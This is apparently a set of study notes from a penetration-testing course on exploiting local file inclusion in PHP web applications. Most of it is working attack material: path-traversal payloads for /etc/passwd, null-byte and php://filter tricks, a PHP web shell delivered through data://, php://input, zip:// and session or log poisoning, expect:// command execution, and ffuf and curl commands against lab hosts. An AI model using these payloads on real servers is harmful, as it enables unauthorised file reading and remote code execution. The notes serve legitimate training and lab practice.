LFI
file inclusion
// lfi
?language=non_existing_directory/../../../etc/passwd/./././.[./ REPEATED ~2048 times]
// we don't have to manually type ./ 2048 times (total of 4096 characters), but we can automate the creation of this string with the following command:
echo -n "non_existing_directory/../../../etc/passwd/" && for i in {1..2048}; do echo -n "./"; done
non_existing_directory/../../../etc/passwd/./././<SNIP>././././
//null bytes
// PHP versions before 5.5 were vulnerable to null byte injection
// which means that adding a null byte (%00) at the end of the string would terminate the string and
// not consider anything after it
///etc/passwd%00
// Php filters
php://filter/.
// filter that is useful for LFI attacks is the convert.base64-encode filter,
// fuzz
ffuf -w /opt/useful/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -u http://<SERVER_IP>:<PORT>/FUZZ.php
// Tip: Unlike normal web application usage, we are not restricted to pages with HTTP response code 200, as we have local file // inclusion access, so we should be scanning for all codes, including `301`, `302` and `403` pages, and we should be able to read // their source code as well.
// source code disclosure
php://filter/read=convert.base64-encode/resource=config
ffuf -w /opt/useful/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -u http://x.x.x.x:port/FUZZ.php
// php filters exercise
curl -si http://x.x.x.x:port/index.php?language=php://filter/read=convert.base64-encode/resource=configure
// data wrapper is only available to use if the (allow_url_include) setting is enabled in the PHP configuration
// include php config file /etc/php/X.Y/apache2/php.ini
curl "http://<SERVER_IP>:<PORT>/index.php?language=php://filter/read=convert.base64-encode/resource=../../../../etc/php/7.4/apache2/php.ini"
echo 'W1BIUF0KCjs7Ozs7Ozs7O...SNIP...4KO2ZmaS5wcmVsb2FkPQo=' | base64 -d | grep allow_url_include
echo '<?php system($_GET["cmd"]); ?>' | base64
//Now, we can URL encode the base64 string, and then pass it to the data wrapper with data://text/plain;base64,.
// Finally, we can use pass commands to the web shell with &cmd=<COMMAND>:
curl -s 'http://<SERVER_IP>:<PORT>/index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id' | grep uid
// difference between it and the data wrapper is that we pass our input to the input wrapper as a POST request's data.
// input wrapper also depends on the allow_url_include setting
curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' "http://<SERVER_IP>:<PORT>/index.php?language=php://input&cmd=id" | grep uid
// Note: To pass our command as a GET request, we need the vulnerable function to also accept GET request (i.e. use $_REQUEST). If // it only accepts POST requests, then we can put our command directly in our PHP code, instead of a dynamic web shell (e.g. <\?// php system('id')?>)
//expect
echo 'W1BIUF0KCjs7Ozs7Ozs7O...SNIP...4KO2ZmaS5wcmVsb2FkPQo=' | base64 -d | grep expect
//use it for gaining RCE through the LFI vulnerability
curl -s "http://<SERVER_IP>:<PORT>/index.php?language=expect://id"
// exercise rce
curl -si 'http://x.x.x.x:port/index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=ls%20%2F'
curl -si 'http://x.x.x.x:port/index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=cat%20%2F37809e2f8952f06139011994726d9ef1.txt'
// question
echo '<?php system($_GET["cmd"]); ?>' > shell.php && zip shell.jpg shell.php
index.php?language=zip://./profile_images/shell.jpg%23shell.php&cmd=id
// question
index.php?language=/var/lib/php/sessions/sess_fkn9ts0gv1oi584kmr2tuh4ad3
index.php?language=<%3Fphp system(%24_GET["cmd"])%3B%3F>
// question finding parameter name
ffuf -w /opt/useful/SecLists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u 'http://x.x.x.x:PORT/index.php?FUZZ=value' -fs 2309
// question finding directory
ffuf -w /opt/useful/SecLists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ -u 'http://x.x.x.x:PORT/index.php?view=FUZZ' -fs 1935
curl http://x.x.x.x:PORT/index.php?view=../../../../../../../../../../../../../../../../../../../../../../flag.txt
// solve
curl -si 'http://lfi.htb.local:55269/ilf_admin/index.php?log=../../../../../../../var/log/nginx/access.log'
Local vs Remote file inclusion
two main benefits for RFI:
Enumerating local-only ports and web applications (i.e. SSRF)
Gaining remote code execution by including a malicious script that we host
Last updated
Was this helpful?